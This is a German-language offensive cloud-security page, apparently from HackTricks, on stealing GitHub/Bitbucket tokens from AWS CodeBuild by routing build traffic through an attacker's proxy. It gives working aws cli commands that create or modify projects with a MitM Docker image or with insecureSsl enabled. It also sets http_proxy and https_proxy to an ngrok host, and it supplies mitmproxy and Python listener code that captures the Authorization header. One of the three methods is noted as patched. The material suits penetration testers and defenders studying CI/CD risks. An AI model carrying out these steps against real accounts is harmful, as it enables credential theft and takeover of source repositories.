# AWS Codebuild - Token Leakage {{#include ../../../../banners/hacktricks-training.md}} ## Wiederherstellen von Github/Bitbucket konfigurierten Tokens Zuerst überprüfen, ob es Quellanmeldeinformationen gibt, die Sie leaken könnten: ```bash aws codebuild list-source-credentials ``` ### Via Docker Image Wenn Sie feststellen, dass die Authentifizierung zum Beispiel für Github im Konto festgelegt ist, können Sie **exfiltrieren** diesen **Zugang** (**GH-Token oder OAuth-Token**), indem Sie Codebuild dazu bringen, ein **bestimmtes Docker-Image** zu verwenden, um den Build des Projekts auszuführen. Zu diesem Zweck könnten Sie **ein neues Codebuild-Projekt erstellen** oder die **Umgebung** eines bestehenden ändern, um das **Docker-Image** festzulegen. Das Docker-Image, das Sie verwenden könnten, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die **Umgebungsvariablen `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** festlegt. Dies ermöglicht es Ihnen, den Großteil des Traffics des im **`https_proxy`** und **`http_proxy`** angegebenen Hosts abzufangen und das in **`SSL_CERT_FILE`** angegebene SSL-Zertifikat zu vertrauen. 1. **Erstellen und Hochladen Ihres eigenen Docker MitM-Images** - Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse festzulegen und Ihr SSL-Zertifikat zu setzen und **das Docker-Image zu erstellen**. - **SETZEN SIE NICHT `http_proxy`**, um keine Anfragen an den Metadaten-Endpunkt abzufangen. - Sie könnten **`ngrok`** wie `ngrok tcp 4444` verwenden, um den Proxy auf Ihren Host zu setzen. - Sobald Sie das Docker-Image erstellt haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...) 2. **Umgebung festlegen** - Erstellen Sie ein **neues Codebuild-Projekt** oder **ändern** Sie die Umgebung eines bestehenden. - Stellen Sie das Projekt so ein, dass es das **zuvor generierte Docker-Image** verwendet.
3. **Setzen Sie den MitM-Proxy auf Ihrem Host** - Wie im **Github-Repo** angegeben, könnten Sie etwas wie Folgendes verwenden: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] > Die **mitmproxy-Version, die verwendet wurde, war 9.0.1**, es wurde berichtet, dass dies mit Version 10 möglicherweise nicht funktioniert. 4. **Führen Sie den Build aus und erfassen Sie die Anmeldeinformationen** - Sie können das Token im **Authorization**-Header sehen:
Dies könnte auch über die aws cli mit etwas wie ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json ## With /tmp/buildspec.json { "name": "my-demo-project", "source": { "type": "GITHUB", "location": "https://github.com/uname/repo", "buildspec": "buildspec.yml" }, "artifacts": { "type": "NO_ARTIFACTS" }, "environment": { "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM "image": "docker.io/carlospolop/docker-mitm:v12", "computeType": "BUILD_GENERAL1_SMALL", "imagePullCredentialsType": "CODEBUILD" } } ## Json # Start the build aws codebuild start-build --project-name my-project2 ``` ### Via insecureSSL **Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die im Web verborgen ist und nur über die API geändert werden kann.\ Wenn Sie dies aktivieren, kann Codebuild sich mit dem Repository **verbinden, ohne das von der Plattform angebotene Zertifikat zu überprüfen**. - Zuerst müssen Sie die aktuelle Konfiguration mit etwas wie: ```bash aws codebuild batch-get-projects --name ``` - Dann können Sie mit den gesammelten Informationen die Projekteinstellungen **`insecureSsl`** auf **`True`** aktualisieren. Das folgende ist ein Beispiel für meine Aktualisierung eines Projekts, beachten Sie das **`insecureSsl=True`** am Ende (das ist das einzige, was Sie aus der gesammelten Konfiguration ändern müssen). - Fügen Sie außerdem die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf Ihr tcp ngrok zeigen, wie: ```bash aws codebuild update-project --name \ --source '{ "type": "GITHUB", "location": "https://github.com/carlospolop/404checker", "gitCloneDepth": 1, "gitSubmodulesConfig": { "fetchSubmodules": false }, "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", "auth": { "type": "CODECONNECTIONS", "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" }, "reportBuildStatus": false, "insecureSsl": true }' \ --environment '{ "type": "LINUX_CONTAINER", "image": "aws/codebuild/standard:5.0", "computeType": "BUILD_GENERAL1_SMALL", "environmentVariables": [ { "name": "http_proxy", "value": "http://2.tcp.eu.ngrok.io:15027" }, { "name": "https_proxy", "value": "http://2.tcp.eu.ngrok.io:15027" } ] }' ``` - Führen Sie dann das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, der durch die Proxy-Variablen (http_proxy und https_proxy) angegeben ist. ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( host="127.0.0.1", port=4444, protocols=[protocol.HTTP], middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - Schließlich klicken Sie auf **Build the project**, die **Anmeldeinformationen** werden **im Klartext** (base64) an den mitm-Port gesendet:
### ~~Via HTTP-Protokoll~~ > [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Februar 2023 (ich glaube am Freitag) behoben. Ein Angreifer kann sie also nicht mehr ausnutzen :)** Ein Angreifer mit **erhöhten Berechtigungen in über einem CodeBuild könnte das Github/Bitbucket-Token** leaken, das konfiguriert ist, oder wenn die Berechtigungen über OAuth konfiguriert wurden, das **temporäre OAuth-Token, das zum Zugriff auf den Code verwendet wird**. - Ein Angreifer könnte die Umgebungsvariablen **http_proxy** und **https_proxy** zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel `http://5.tcp.eu.ngrok.io:14972`).
- Dann ändern Sie die URL des Github-Repos, um HTTP anstelle von HTTPS zu verwenden, zum Beispiel: `http://github.com/carlospolop-forks/TestActions` - Dann führen Sie das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, der von den Proxy-Variablen (http_proxy und https_proxy) angegeben wird. ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( host="0.0.0.0", port=4444, protocols=[protocol.HTTP], middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - Klicken Sie als Nächstes auf **Projekt erstellen** oder starten Sie den Build über die Befehlszeile: ```sh aws codebuild start-build --project-name ``` - Schließlich werden die **Anmeldeinformationen** im **Klartext** (base64) an den mitm-Port gesendet:
> [!WARNING] > Jetzt kann ein Angreifer das Token von seiner Maschine aus verwenden, alle Privilegien auflisten, die es hat, und (miss)brauchen einfacher als die direkte Nutzung des CodeBuild-Dienstes. {{#include ../../../../banners/hacktricks-training.md}}